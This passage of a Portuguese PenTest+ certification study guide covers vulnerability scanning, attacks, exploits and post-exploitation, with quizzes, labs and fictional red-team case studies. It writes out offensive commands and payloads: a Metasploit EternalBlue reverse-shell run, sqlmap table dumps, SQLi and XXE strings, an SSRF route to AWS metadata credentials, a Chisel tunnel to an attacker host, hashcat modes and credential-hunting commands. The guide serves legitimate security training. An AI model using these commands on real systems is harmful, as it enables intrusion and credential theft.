Resposta: C. Nuclei é da ProjectDiscovery e usa templates YAML customizáveis e da comunidade. É extremamente rápido e extensível. A comunidade contribui com templates para CVEs novos frequentemente em horas após divulgação.

9EternalBlue (CVE-2017-0144) explora qual protocolo e qual versão específica?

  • A. RDP v1.0
  • B. HTTP/1.1
  • C. SMBv1 (Server Message Block versão 1)
  • D. Telnet
Resposta: C. EternalBlue explora uma falha no SMBv1 que permite Remote Code Execution sem autenticação. Foi usado pelo ransomware WannaCry em 2017 e pelo NotPetya. A remediação é desativar SMBv1 e aplicar MS17-010.

10Um SSRF (Server-Side Request Forgery) numa aplicação web hospedada em AWS pode levar a qual impacto crítico?

  • A. Acesso à base de dados interna via SQL Injection.
  • B. Execução de XSS no browser de outros utilizadores.
  • C. Acesso ao endpoint de metadata da instância EC2 (169.254.169.254) com IAM credentials.
  • D. Criação de contas de administrador na aplicação.
Resposta: C. Em AWS, o endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials/ retorna credenciais temporárias IAM da instância. Via SSRF, um atacante pode fazer o servidor fazer esta request e obter tokens de acesso à AWS — potencialmente com permissões extensas.
🧪 Laboratórios Práticos — Domínio 3
  • Lab 1 — Nessus Essentials: Regista-te gratuitamente no Tenable para Nessus Essentials (até 16 IPs). Faz scan do teu próprio ambiente de lab (VMs Metasploitable2 ou VulnHub). Pratica interpretação de relatórios.
  • Lab 2 — OWASP WebGoat: Instala WebGoat (Docker: docker run -p 8080:8080 webgoat/goat-and-wolf) e resolve os módulos de SQL Injection, XSS, IDOR e SSRF manualmente.
  • Lab 3 — Burp Suite Community: Configura o Burp Suite como proxy para o DVWA (Damn Vulnerable Web App). Intercepta requests, modifica parâmetros, identifica injection points.
  • Lab 4 — Nuclei na prática: Instala Nuclei no Kali (apt install nuclei) e corre templates contra o HackTheBox Starting Point machines. Compara com scan manual.
  • Lab 5 — CVSS Calculator: Acede ao calculador oficial CVSS v3.1 em nvd.nist.gov. Pega em 5 CVEs reais e calcula o Environmental Score ajustado para um cenário de empresa hipotético. Pratica justificar as escolhas.
Domínio 4

Attacks & Exploits

35% do exame · o maior domínio — exploração de rede, web, social engineering, wireless e cloud

Com 35% do exame, este domínio é o coração da PenTest+. Abrange a exploração de vulnerabilidades em múltiplas superfícies de ataque: redes, aplicações web, wireless, cloud e factor humano. O pentester deve não apenas executar ataques, mas selecionar a técnica certa para cada contexto e compreender as implicações de cada ação.

4.1 Exploração de Rede

Metasploit Framework — Estrutura

# Fluxo típico de exploração com Metasploit
msf6 > search ms17-010                    # Buscar módulos
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > show options          # Ver opções necessárias
msf6 exploit(...) > set RHOSTS 10.10.10.1 # Definir alvo
msf6 exploit(...) > set LHOST 10.10.14.5  # Definir listener
msf6 exploit(...) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run                   # Executar
Componente MetasploitFunçãoExemplo
ExploitCódigo que aproveita a vulnerabilidadems17_010_eternalblue
PayloadCódigo executado após exploraçãometerpreter, shell, bind/reverse
AuxiliaryMódulos sem payload (scan, brute force)auxiliary/scanner/smb/smb_ms17_010
PostMódulos pós-exploraçãopost/windows/gather/hashdump
EncoderOfuscação do payload para evasão de AVx86/shikata_ga_nai
MeterpreterShell avançada em memória, sem ficheiro em discoComandos: hashdump, sysinfo, migrate

Ataques Man-in-the-Middle (MitM)

TécnicaAlvoFerramentaMitigação
ARP Poisoning/SpoofingRede local (L2)arpspoof, Ettercap, BettercapDynamic ARP Inspection (DAI), static ARP
LLMNR/NBT-NS PoisoningRedes Windows (resolução de nomes)ResponderDesativar LLMNR/NBT-NS via GPO
DNS SpoofingResolução DNSdnsspoof, BettercapDNSSEC, DoH, DoT
SSL StrippingHTTPS → HTTP downgradesslstrip, BettercapHSTS, HSTS Preloading
Evil Twin / Rogue APWiFi clientshostapd-wpe, airbase-ng802.1X/EAP, WIDS
Conceito-chave: Responder e LLMNR Poisoning Responder é uma das ferramentas mais eficazes em redes Windows corporativas. Quando um host Windows tenta resolver um nome que não existe no DNS, ele usa LLMNR (Link-Local Multicast Name Resolution) e NBT-NS como fallback — broadcasts para a rede local. O Responder responde a esses broadcasts fingindo ser o host procurado, capturando hashes NTLMv2 que podem ser crackados offline ou usados em Pass-the-Hash attacks.

Ataques a Passwords

Tipo de AtaqueDescriçãoFerramentaContra-medida
Brute Force onlineTentativas diretas num serviçoHydra, Medusa, CrackMapExecAccount lockout, MFA, rate limiting
Dictionary attack offlineCrack de hashes com wordlistHashcat, John the RipperHashing forte (bcrypt, Argon2)
Password Spraying1 password → muitos utilizadoresSpray, CrackMapExecMFA, lockout por IP, anomaly detection
Credential StuffingLeaked credentials de breachesOpenBullet, SniprMFA, breach monitoring, unique passwords
Pass-the-Hash (PtH)Usar hash NTLM sem crackearMimikatz, CrackMapExecProtected Users group, Credential Guard
Pass-the-Ticket (PtT)Usar Kerberos ticket (TGT/TGS)Mimikatz, RubeusPrivilege PAM, short ticket lifetimes

Hashcat — Modos essenciais

# Hash type detection
hashid '$2y$10$...'    # Identificar tipo de hash

# Hashcat — modes comuns
hashcat -m 0    hash.txt wordlist.txt        # MD5
hashcat -m 1000 hash.txt wordlist.txt        # NTLM
hashcat -m 1800 hash.txt wordlist.txt        # sha512crypt (Linux /etc/shadow)
hashcat -m 13100 hash.txt wordlist.txt       # Kerberoast (TGS-REP)
hashcat -m 22000 hash.txt wordlist.txt       # WPA2

# Modos de ataque
-a 0  # Dictionary
-a 1  # Combination (two wordlists)
-a 3  # Brute force mask (ex: ?u?l?l?l?d?d)
-a 6  # Hybrid wordlist + mask

4.2 Exploração de Aplicações Web

SQL Injection — Tipos e Técnicas

TipoCaracterísticasExemplo
In-band (Error-based)Erros SQL são mostrados na resposta' OR 1=1-- com mensagem de erro visible
In-band (Union-based)UNION para extrair dados de outra tabela' UNION SELECT username,password FROM users--
Blind (Boolean-based)Sem output direto; inferência por true/false' AND 1=1-- vs ' AND 1=2--
Blind (Time-based)Inferência via delay na resposta'; IF (1=1) WAITFOR DELAY '0:0:5'--
Out-of-bandDados exfiltrados via canal externo (DNS, HTTP)DNS exfiltration via xp_cmdshell
# SQLMap — automatização de SQL Injection
sqlmap -u "https://target.com/search?q=test" --dbs       # Listar DBs
sqlmap -u "https://target.com/search?q=test" -D mydb --tables  # Listar tabelas
sqlmap -u "https://target.com/search?q=test" -D mydb -T users --dump  # Dump tabela
sqlmap -r request.txt --level=5 --risk=3                  # A partir de ficheiro Burp

Cross-Site Scripting (XSS)

Outros Ataques Web Críticos

AtaqueMecanismoPayload / Indicador
Command InjectionInput do user executado como comando OS; whoami, | id, && ls
Path TraversalAcesso a ficheiros fora do webroot../../../etc/passwd, ..%2F..%2Fetc%2Fpasswd
File Inclusion (LFI/RFI)Inclusão de ficheiros locais ou remotos?page=../../../../etc/passwd
XXE (XML External Entity)XML parser processa entidades externas<!ENTITY xxe SYSTEM "file:///etc/passwd">
CSRFAção forçada em nome de user autenticadoFormulário oculto com POST para site alvo
Insecure DeserializationObjeto serializado malicioso causa RCEJava, PHP, Python — gadget chains
JWT AttacksManipulação de JSON Web Tokensalg:none, key confusion RS256→HS256

4.3 Social Engineering

O factor humano é frequentemente o vetor de ataque mais eficaz. Técnicas de engenharia social exploram psicologia, não tecnologia.

Princípios Psicológicos (Cialdini)

Técnicas e Ferramentas

TécnicaDescriçãoFerramenta
PhishingEmail malicioso → credenciais ou malwareGoPhish, SET, Evilginx2
Spear PhishingPhishing personalizado para target específicoGoPhish + OSINT
VishingSocial engineering por telefone
SmishingSocial engineering via SMS
PretextingCriar identidade/cenário falso convincente
BaitingUSB drops, QR codes maliciososUSB Rubber Ducky, Bash Bunny
Watering HoleComprometer site frequentado pelo alvoBeEF, exploit frameworks
⚠️ Evilginx2 e AiTM Phishing Evilginx2 é um framework de phishing de proxy reverso que captura não apenas credenciais mas também session cookies — permitindo bypass de MFA. O utilizador autentica-se no site real (via proxy), o atacante captura o cookie de sessão. Esta técnica (Adversary-in-the-Middle, AiTM) tornou o phishing eficaz mesmo contra contas com MFA habilitado. Requer uso exclusivamente em engagements autorizados.

4.4 Ataques Wireless

AtaqueProtocolo alvoTécnicaFerramenta
WEP CrackWEPIV weakness, aircrack-ng após captura suficienteaircrack-ng
WPA2 PSK CrackWPA2-PersonalCapture 4-way handshake + dictionaryaircrack-ng, hashcat -m 22000
PMKID AttackWPA2/WPA3Captura PMKID sem handshake completohcxdumptool + hashcat
PEAP/EAP DowngradeWPA2-Enterprise (802.1X)Rogue AP captura credenciais do utilizadorhostapd-wpe
Deauthentication Attack802.11Envio de deauth frames para forçar reconexãoaireplay-ng -0
Evil TwinWiFiAP com mesmo SSID → captura tráfegohostapd, airbase-ng
Bluetooth AttacksBT/BLEBlueBorne, Bluebugging, BIAS attackbtlejack, gattacker

4.5 Ataques Cloud e Contentor

A superfície de ataque cloud é distinta da infraestrutura on-premises. Misconfigurations são a principal causa de breaches em cloud.

Ataques Comuns em AWS

Ferramentas Cloud Pentest

FerramentaCloudFunção
PacuAWSFramework de exploração AWS (inspirado em Metasploit)
ScoutSuiteAWS/Azure/GCPAuditoria de configurações multi-cloud
ProwlerAWSCIS Benchmark checks, compliance assessment
ROADtoolsAzure ADEnumeração de Azure AD / Entra ID
MicroBurstAzureRecon e exploração Azure
TrivyContainersScan de vulnerabilidades em imagens Docker
Estudo de Caso · Domínio 4

FinServ Corp: da phishing à exfiltração em 72 horas

Cenário

Red Team engagement para a FinServ Corp (empresa financeira fictícia). Autorização para todos os vetores incluindo social engineering. O teste simulava um grupo APT com motivação financeira. Janela de 2 semanas.

Kill chain executada
  1. OSINT (Dia 1): LinkedIn revelou que o departamento de Contas a Pagar usava SAP. theHarvester coletou emails no formato nome.apelido@finservcorp.com.
  2. Spear Phishing (Dia 2): Email personalizado fingindo ser notificação do SAP, com link para página clonada (Evilginx2). A gestora de AP autenticou-se — token de sessão capturado, bypass de MFA feito.
  3. Initial Access (Dia 2, hora 4): Acesso ao webmail da gestora via token. Email interno com anexo malicioso (.xlsm com macro) enviado ao colaborador de TI.
  4. Execution (Dia 3): Macro executou Meterpreter reverse shell. Sessão estabelecida na estação de trabalho do TI.
  5. Privilege Escalation (Dia 3): Token impersonation via PrintSpoofer (SeImpersonatePrivilege) → SYSTEM.
  6. Credential Access (Dia 3): Mimikatz sekurlsa::logonpasswords → hash NTLM do Domain Admin em memória (admin tinha logado naquela máquina).
  7. Domain Dominance (Dia 3, fim): Pass-the-Hash → Domain Controller. DCSync para extrair todos os hashes do domínio. Golden Ticket criado.
  8. Data Exfiltration (Dia 4): Acesso ao servidor SAP, dump de dados de transações. Exfiltração simulada via DNS tunneling para C2.
Lições aprendidas
  • MFA pode ser bypassado com proxying (AiTM) — não é bala de prata.
  • Admins nunca devem fazer login em máquinas de utilizador comum — hashes ficam em memória.
  • SeImpersonatePrivilege não deve ser atribuído a contas de serviço desnecessariamente.
  • DNS monitoring teria detetado o tunneling — a maioria das organizações não monitoriza DNS.
  • A cadeia inteira levou menos de 72h — atacantes reais têm meses.

Mini Quiz · Domínio 4

10 questões sobre Attacks & Exploits

1Pass-the-Hash (PtH) permite a um atacante autenticar-se usando:

  • A. A password em texto plano capturada via keylogger.
  • B. O hash NTLM sem precisar de saber a password original.
  • C. Um Kerberos ticket roubado de memória.
  • D. Um certificado digital forjado.
Resposta: B. PtH usa o hash NTLM diretamente para autenticação em protocolos que aceitam hashes (SMB, WMI, RDP com NLA desativado). Não é necessário crackear o hash. Ferramenta principal: Mimikatz + CrackMapExec.

2Qual tipo de SQL Injection não produz output visível na resposta e usa delays para inferir dados?

  • A. Union-based
  • B. Error-based
  • C. Blind Time-based
  • D. Out-of-band
Resposta: C. Blind Time-based SQLi usa funções como SLEEP() (MySQL), WAITFOR DELAY (MSSQL) ou pg_sleep() (PostgreSQL) para criar delays condicionais. O atacante infere se a condição é verdadeira ou falsa pelo tempo de resposta.

3O Responder é mais eficaz em qual tipo de ambiente?

  • A. Redes exclusivamente Linux
  • B. Ambientes cloud (AWS, Azure)
  • C. Redes Windows corporativas com LLMNR/NBT-NS habilitado
  • D. Redes com apenas dispositivos IoT
Resposta: C. Responder explora LLMNR e NBT-NS, protocolos de fallback de resolução de nomes exclusivos do ambiente Windows. Captura hashes NTLMv2 que podem ser crackados offline ou usados em relay attacks.

4Evilginx2 é capaz de bypassar MFA porque:

  • A. Explora vulnerabilidades no protocolo TOTP.
  • B. Usa brute force no código MFA.
  • C. Funciona como proxy reverso, capturando session cookies após autenticação completa (incluindo MFA).
  • D. Injeta JavaScript para desativar o MFA no browser.
Resposta: C. Evilginx2 (AiTM) coloca-se entre o utilizador e o serviço real. O utilizador autentica-se normalmente (com MFA). O Evilginx2 captura a session cookie já autenticada e transmitida pelo servidor real — sem precisar de bypassar o MFA tecnicamente.

5Qual ferramenta é o equivalente do Metasploit para pentesting de ambientes AWS?

  • A. ScoutSuite
  • B. Pacu
  • C. Prowler
  • D. Trivy
Resposta: B. Pacu é um framework de exploração AWS com módulos para enumeration, privilege escalation, persistence e exfiltração — tal como o Metasploit para redes tradicionais. ScoutSuite e Prowler são auditoria/compliance, Trivy é scan de containers.

6Um XSS armazenado (stored) é mais perigoso que um XSS refletido porque:

  • A. É mais fácil de explorar com SQLMap.
  • B. O payload fica guardado no servidor e afeta qualquer utilizador que acede à página, sem precisar de interação adicional da vítima.
  • C. Funciona mesmo com Content-Security-Policy ativada.
  • D. Permite Remote Code Execution no servidor.
Resposta: B. No XSS stored, o payload está persistido (ex.: comentário numa página). Cada utilizador que carrega essa página executa o script — sem precisar de clicar num link específico. Scale muito maior que reflected XSS.

7Password Spraying difere de brute force tradicional porque:

  • A. Usa Rainbow Tables em vez de wordlists.
  • B. Testa poucas passwords (geralmente 1-3) contra muitos utilizadores, evitando lockout de contas.
  • C. Funciona apenas contra hashes MD5.
  • D. Requer acesso físico ao servidor de autenticação.
Resposta: B. Password spraying inverte a lógica: em vez de muitas passwords num utilizador (que tripa account lockout), usa 1-2 passwords comuns (ex.: "Empresa2024!") contra centenas de utilizadores. Contorna políticas de lockout por conta.

8Qual princípio de social engineering é explorado quando o atacante cria urgência como "a tua conta será bloqueada em 2h"?

  • A. Social Proof
  • B. Reciprocidade
  • C. Urgência / Scarcity
  • D. Liking
Resposta: C. Urgência/Scarcity cria pressão de tempo que inibe pensamento crítico. A vítima age rapidamente sem verificar. É um dos princípios de Cialdini e um dos mais explorados em phishing corporativo.

9Qual ataque wireless captura o PMKID sem necessidade de aguardar o four-way handshake completo?

  • A. WEP IV attack
  • B. Evil Twin
  • C. PMKID attack com hcxdumptool
  • D. PEAP downgrade
Resposta: C. O PMKID attack (descoberto em 2018) extrai o PMKID do primeiro frame EAPOL sem precisar aguardar um cliente conectar. O PMKID pode então ser submetido ao hashcat para crack offline, tornando o ataque mais rápido e independente de clientes conectados.

10Numa exploração web, o payload <!ENTITY xxe SYSTEM "file:///etc/passwd"> é característico de qual vulnerabilidade?

  • A. SSRF
  • B. CSRF
  • C. XXE (XML External Entity Injection)
  • D. LFI (Local File Inclusion)
Resposta: C. XXE ocorre quando um XML parser processa entidades externas definidas pelo atacante. Pode levar a leitura de ficheiros locais, SSRF interno, e em alguns casos RCE. Mitigação: desativar external entity processing no parser XML.
🧪 Laboratórios Práticos — Domínio 4
  • Lab 1 — Metasploit com Metasploitable2: Configura Metasploitable2 numa VM isolada. Usa Metasploit para explorar vsftpd 2.3.4 backdoor, Samba vulnerável e UnrealIRCd. Pratica cada componente (exploit, payload, post-modules).
  • Lab 2 — SQL Injection com DVWA + SQLMap: Instala DVWA (Docker). Começa com SQL Injection Manual no nível Low, depois usa SQLMap com -r request.txt. Passa para nível Medium e High para entender bypass de filtros.
  • Lab 3 — Responder em lab Windows: Cria uma rede de lab com uma VM Windows 10 e Kali. Executa responder -I eth0 e navega para um share inexistente na VM Windows. Captura e crackeia o NTLMv2 com hashcat.
  • Lab 4 — GoPhish Phishing Campaign: Instala GoPhish localmente. Cria uma campanha de phishing contra um email próprio. Pratica criação de landing pages, tracking e relatórios. (Apenas em ambiente próprio!)
  • Lab 5 — HackTheBox / TryHackMe: Salas recomendadas: "Blue" (EternalBlue), "Jerry" (Tomcat RCE), "Bashed" (command injection), "Curling" (Joomla exploitation). Cada uma cobre um vetor diferente do Domínio 4.
  • Lab 6 — Cloud: flaws.cloud: flaws.cloud e flaws2.cloud são laboratórios gratuitos da AWS com desafios reais de misconfiguração S3, EC2 metadata, e IAM. Excelente para prática de ataques cloud.
Domínio 5

Post-exploitation & Lateral Movement

14% do exame · persistence, escalada, pivoting, exfiltração e cobertura de trilhas

O acesso inicial é apenas o começo. A fase pós-exploração determina o verdadeiro impacto de um comprometimento: quanto mais profundo o pentester consegue ir, mais realista é a simulação de um atacante avançado (APT). Esta fase também é a mais delicada eticamente — cada ação deve ser autorizada e documentada.

5.1 Enumeração Pós-exploração

Após obter um shell, a prioridade é entender o ambiente antes de agir. Enumeração apressada pode triggerar alertas do EDR/SIEM.

Comandos de enumeração essenciais (Windows)

# Informação do sistema
whoami /all              # User, groups, privileges
systeminfo               # OS, hotfixes, domain info
hostname
net user                 # Utilizadores locais
net localgroup administrators  # Admins locais
net group "Domain Admins" /domain  # Domain Admins

# Rede
ipconfig /all            # IPs, DNS, gateways
netstat -ano             # Conexões ativas e portas
route print              # Routing table
arp -a                   # ARP cache (hosts na rede local)

# Processos e serviços
tasklist /v              # Processos em execução
sc query                 # Serviços Windows
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  # Startup items

# Ficheiros sensíveis
dir /s /b *.txt *.xml *.config 2>nul | findstr /i "pass password cred"
findstr /si "password" *.xml *.txt *.config

Enumeração pós-exploração (Linux)

id; whoami                    # User e grupos
uname -a                      # Kernel version (para kernel exploits)
cat /etc/passwd               # Utilizadores do sistema
sudo -l                       # Sudo permissions (crítico!)
find / -perm -4000 2>/dev/null  # SUID binaries
crontab -l; cat /etc/cron*    # Cron jobs
env                           # Environment variables (possíveis secrets)
cat ~/.bash_history            # Histórico de comandos
find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null

5.2 Privilege Escalation

Windows — Técnicas de Escalada

TécnicaCondição necessáriaFerramenta
Token ImpersonationSeImpersonatePrivilege (contas de serviço IIS, SQL Server)PrintSpoofer, RoguePotato, GodPotato
Unquoted Service PathPath de serviço sem aspas com espaçosManual, PowerSploit
Weak Service PermissionsUtilizador pode modificar config/binário do serviçoaccesschk.exe, PowerUp.ps1
DLL HijackingAplicação carrega DLL de path gravávelProcess Monitor, manual
AlwaysInstallElevatedRegistry keys configurados como 1PowerUp, metasploit
Stored Credentialscmdkey, credenciais em ficheiros/registryLaZagne, Mimikatz
Kernel ExploitsSistema desatualizado com CVE conhecidoWatson (sugere exploits), Sherlock

Linux — Técnicas de Escalada

TécnicaCondiçãoExemplo
Sudo misconfigurationsudo -l mostra comandos perigosossudo vim → :!/bin/bash
SUID binariesBinário com SUID que pode ser abusadoGTFOBins para lookup de técnicas
Writable /etc/passwdPermissões incorretas no ficheiroAdicionar root:0:0 com hash custom
Cron job writable scriptScript chamado por cron pode ser modificadoSubstituir com reverse shell
PATH hijackingScript root chama binário sem path absolutoCriar fake binário no PATH
NFS no_root_squashNFS share com no_root_squashMontar share como root local, criar SUID
Kernel exploitsKernel desatualizadoDirty COW, DirtyPipe, Overlayfs
GTFOBins — Recurso indispensável GTFOBins (gtfobins.github.io) é uma lista curada de binários Unix que podem ser usados para escalada de privilégios, escape de shell restrita, leitura de ficheiros e geração de reverse shells — quando configurados com SUID, sudo, ou capabilities. Exemplos: vim, find, python, perl, awk, nmap, less. LOLBAS (lolbas-project.github.io) é o equivalente para Windows.

5.3 Lateral Movement

Lateral movement é o processo de mover-se entre sistemas na rede após o acesso inicial, expandindo o foothold e aproximando-se do objetivo (Domain Admin, dados sensíveis, etc.).

Técnicas de Lateral Movement

TécnicaProtocoloFerramentaRequisito
Pass-the-HashSMB/NTLMCrackMapExec, Impacket's psexec.pyHash NTLM válido
Pass-the-TicketKerberosMimikatz, RubeusTGT ou TGS válido
Overpass-the-HashKerberosMimikatzHash NTLM → TGT Kerberos
Remote Desktop (RDP)RDP / 3389xfreerdp, mstscCredenciais + porta aberta
WinRM / PowerShell RemotingWinRM / 5985Evil-WinRM, Enter-PSSessionCredenciais + WinRM ativo
WMI ExecutionWMI / DCOMImpacket wmiexec.pyCredenciais admin
SCM (Service Control Manager)SMB + RPCpsexec.py, sc.exeAdmin share acessível
SSH HijackingSSHssh-agent socketAcesso ao socket SSH do utilizador

Pivoting e Tunneling

Pivoting é usar um sistema comprometido como "trampolim" para aceder a redes que o atacante não consegue atingir diretamente.

# SSH Dynamic Port Forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host        # Cria SOCKS proxy na porta 1080
proxychains nmap -sT 10.10.10.0/24 # Usa o proxy para scan da rede interna

# SSH Local Port Forwarding
ssh -L 8080:internal_target:80 user@pivot_host  # Aceder a port 80 do target interno via porta local 8080

# Chisel (tunneling através de HTTP)
# Servidor (no attacker):
chisel server -p 8000 --reverse
# Cliente (no pivot host):
chisel client attacker_ip:8000 R:1080:socks  # Reverse SOCKS proxy

# Metasploit portfwd (dentro de sessão Meterpreter)
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.50

5.4 Persistence

Persistence garante que o acesso se mantém mesmo após reboots, logouts ou mudanças de password. Em engagements, persistence é criada para demonstrar que um atacante poderia manter acesso indefinidamente.

Técnicas de Persistence

TécnicaSOComo funciona
Registry Run KeysWindowsHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled TasksWindowsschtasks /create — executa payload em horário definido
Windows ServicesWindowsCriar serviço que inicia com o sistema
Golden TicketWindows ADTGT forjado com hash do KRBTGT — válido até reset da conta
Silver TicketWindows ADTGS forjado para serviço específico sem contactar DC
Cron JobsLinuxEntrada em crontab → executa reverse shell periodicamente
SSH Authorized KeysLinuxAdicionar chave pública ao ~/.ssh/authorized_keys
Startup ScriptsLinux/etc/rc.local, /etc/profile.d/, systemd services
Web ShellWebPHP/ASPX shell em servidor web para acesso persistente
⚠️ Golden Ticket Attack O Golden Ticket é um dos ataques mais devastadores em Active Directory. Requer o hash do KRBTGT (conta especial de geração de tickets Kerberos do DC). Com esse hash, o atacante pode forjar TGTs para qualquer conta, incluindo Domain Admins, com qualquer lifetime. A única mitigação eficaz é resetar a password do KRBTGT duas vezes (para invalidar todos os tickets existentes). Ferramentas: Mimikatz (kerberos::golden), Impacket, Rubeus.

5.5 Exfiltração de Dados

A exfiltração demonstra o impacto máximo de um comprometimento. Técnicas modernas focam-se em canais que passam despercebidos nos controlos de segurança.

Técnicas de Exfiltração

CanalTécnicaFerramentaPor que passa despercebido
DNSDNS tunneling — dados codificados em queries DNSdnscat2, iodineDNS raramente é bloqueado ou monitorizado profundamente
HTTPSDados em tráfego HTTPS cifradoC2 frameworks (Cobalt Strike, Havoc)Tráfego cifrado dificulta inspeção
ICMPDados em payload de pingicmpsh, ptunnelICMP frequentemente não é filtrado
SMBCópia para share externo via SMBsmbclientSMB comum em redes Windows
Cloud StorageUpload para OneDrive, Dropbox, S3rclone, AWS CLITráfego HTTPS para serviços legítimos
SteganografiaDados escondidos em imagens/audiosteghide, OpenStegoIndetectável sem inspeção profunda

5.6 Anti-Forensics e Cobertura de Trilhas

Em engagements Red Team avançados, simular como um APT cobre os seus rastos é parte do escopo. Em Blue Team defense, conhecer estas técnicas é essencial para forensics e threat hunting.

Estudo de Caso · Domínio 5

InsureTech: de webshell a Domain Admin em ambiente assumidamente seguro

Cenário

A InsureTech (seguradora fictícia) tinha investido recentemente em EDR (CrowdStrike), SIEM (Splunk) e um SOC terceirizado. A diretoria estava confiante na postura de segurança. O engagement era um Red Team de 4 semanas, unannounced para o SOC.

Cadeia de ataque e evasão
  1. Initial Access: File upload bypass num portal de sinistros → webshell PHP carregada (extensão renomeada para .jpg, bypassing de MIME check ingênuo).
  2. Enumeração silenciosa: Em vez de scripts de enumeração ruidosos (que triggariam EDR), a equipa usou WMI queries manuais e comandos nativos Windows — LotL (Living off the Land).
  3. Privilege Escalation: Serviço configurado com unquoted path e permissões fracas → substituição do binário → SYSTEM.
  4. Lateral Movement — 1ª tentativa falhada: PsExec detetado pelo EDR imediatamente. SOC abriu ticket mas não correlacionou com a webshell.
  5. Lateral Movement — 2ª tentativa (sucesso): WMI execution via wmiexec.py — mais silencioso, passou no EDR.
  6. Persistence via Scheduled Task: Task criada com nome idêntico a uma task legítima do Windows Update, executando PowerShell encoded command para beacon C2.
  7. DCSync via Golden Ticket: Conseguido hash NTLM do KRBTGT via DCSync (requer Domain Admin). Golden Ticket criado para persistência máxima.
  8. Exfiltração: Dados exfiltrados via DNS tunneling (dnscat2) — o SOC não monitorava queries DNS anómalas.
Lições aprendidas
  • EDR não é infalível — LotL e WMI execution podem passar.
  • SOC detetou o PsExec mas não correlacionou com o evento inicial (webshell). Correlação de eventos é tão importante quanto deteção individual.
  • DNS monitoring e anomaly detection em queries são frequentemente negligenciados.
  • File upload controls devem validar conteúdo real do ficheiro (magic bytes), não apenas extensão ou MIME type declarado.
  • Scheduled tasks com nomes de tasks legítimas exigem whitelisting de paths e hashes, não apenas nomes.

Mini Quiz · Domínio 5

10 questões sobre Post-exploitation & Lateral Movement

1Para resetar efetivamente um Golden Ticket criado por um atacante, quantas vezes é necessário resetar a password do KRBTGT?

  • A. Uma vez é suficiente.
  • B. Duas vezes (com intervalo de tempo entre resets).
  • C. Três vezes para garantir invalidação total.
  • D. O Golden Ticket não pode ser invalidado.
Resposta: B. O Kerberos mantém a password atual e a anterior para garantir continuidade. Um único reset deixa o hash anterior válido. Dois resets eliminam ambos os hashes conhecidos pelo atacante. É necessário intervalo entre resets para não disruptar autenticações em curso.

2GTFOBins é um recurso usado para:

  • A. Explorar vulnerabilidades web (XSS, SQLi).
  • B. Encontrar técnicas de privilege escalation usando binários Unix nativos com SUID, sudo ou capabilities.
  • C. Gerar payloads de Metasploit automaticamente.
  • D. Quebrar hashes de passwords.
Resposta: B. GTFOBins documenta como binários legítimos Unix (vim, python, find, awk, nmap, less, etc.) podem ser abusados para escalar privilégios, ler ficheiros protegidos, fazer reverse shells ou escapar de shells restritas.

3Qual comando Linux exibe os binários com o bit SUID ativado, que podem ser candidatos para privilege escalation?

  • A. sudo -l
  • B. ls -la /etc
  • C. find / -perm -4000 2>/dev/null
  • D. cat /etc/sudoers
Resposta: C. -perm -4000 encontra ficheiros com o SUID bit ativado (permissão que faz o binário correr como o owner, frequentemente root). 2>/dev/null suprime erros de "permission denied". sudo -l mostra o que o utilizador atual pode correr com sudo.

4Pivoting com SSH Dynamic Port Forwarding cria qual tipo de proxy?

  • A. HTTP proxy transparente
  • B. SOCKS proxy
  • C. Reverse proxy
  • D. VPN L2TP
Resposta: B. ssh -D 1080 user@pivot cria um SOCKS4/5 proxy na porta local 1080. Ferramentas como proxychains podem então rotear tráfego através desse proxy, permitindo acesso a redes atrás do pivot host.

5Um ataque "Living off the Land" (LotL) caracteriza-se por:

  • A. Usar exploits zero-day exclusivos.
  • B. Usar ferramentas e binários nativos do sistema operativo para evitar deteção.
  • C. Atacar apenas infraestrutura física (power grids, ICS).
  • D. Exfiltrar dados usando esteganografia.
Resposta: B. LotL usa ferramentas legítimas do SO (PowerShell, WMI, certutil, regsvr32, mshta, etc.) para realizar ações maliciosas — evitando alertas de AV/EDR que detetam malware externo. É a técnica preferida de APTs modernos.

6DNS tunneling para exfiltração é difícil de detetar porque:

  • A. Usa cifração AES-256 end-to-end.
  • B. A maioria das organizações não bloqueia DNS e não monitoriza queries anómalas em profundidade.
  • C. Passa por firewalls apenas em ambientes cloud.
  • D. Os dados são fragmentados em pacotes ICMP dentro do DNS.
Resposta: B. DNS é raramente bloqueado (quebra muita coisa) e frequentemente não é monitorizado em profundidade. Queries com subdomínios anormalmente longos ou alta frequência de queries a um domínio específico são indicadores de DNS tunneling.

7SeImpersonatePrivilege em Windows é frequentemente abusado para privilege escalation. Qual ferramenta moderna explora este privilege em sistemas Windows mais recentes?

  • A. Mimikatz
  • B. BloodHound
  • C. GodPotato / PrintSpoofer
  • D. PowerSploit
Resposta: C. PrintSpoofer e GodPotato exploram SeImpersonatePrivilege (comum em contas de serviço IIS, SQL Server, NETWORK SERVICE) para escalar a SYSTEM em sistemas Windows modernos. São evoluções do JuicyPotato para sistemas com CLSID restrictions.

8Qual a diferença entre Pass-the-Ticket e Pass-the-Hash?

  • A. PtT usa tickets Kerberos; PtH usa hashes NTLM para autenticação.
  • B. PtT é para Linux; PtH é exclusivo de Windows.
  • C. PtT requer acesso físico; PtH é remoto.
  • D. São tecnicamente idênticos — apenas nomes diferentes.
Resposta: A. PtH usa o hash NTLM diretamente em protocolos que suportam autenticação NTLM (SMB, WMI). PtT injeta um Kerberos ticket (TGT ou TGS) em memória — o sistema usa esse ticket para autenticação Kerberos. São protocolos diferentes, técnicas diferentes.

9Um atacante usa o Mimikatz para executar um DCSync attack. Qual permissão no Active Directory é necessária para isto?

  • A. Membro do grupo Users do domínio
  • B. Replication Directory Changes + Replication Directory Changes All
  • C. Acesso físico ao Domain Controller
  • D. Permissão de backup (SeBackupPrivilege)
Resposta: B. DCSync imita um Domain Controller legítimo pedindo replicação ao DC real, que responde com hashes de credenciais. Requer "Replication Directory Changes" e "Replication Directory Changes All" — permissões que por default têm Domain Admins e Enterprise Admins.

10Qual técnica de persistence é mais difícil de detetar porque o payload nunca é escrito em disco?

  • A. Registry Run Keys
  • B. Scheduled Tasks
  • C. SSH Authorized Keys
  • D. Memory-only / Fileless malware (ex: Meterpreter, Cobalt Strike in-memory)
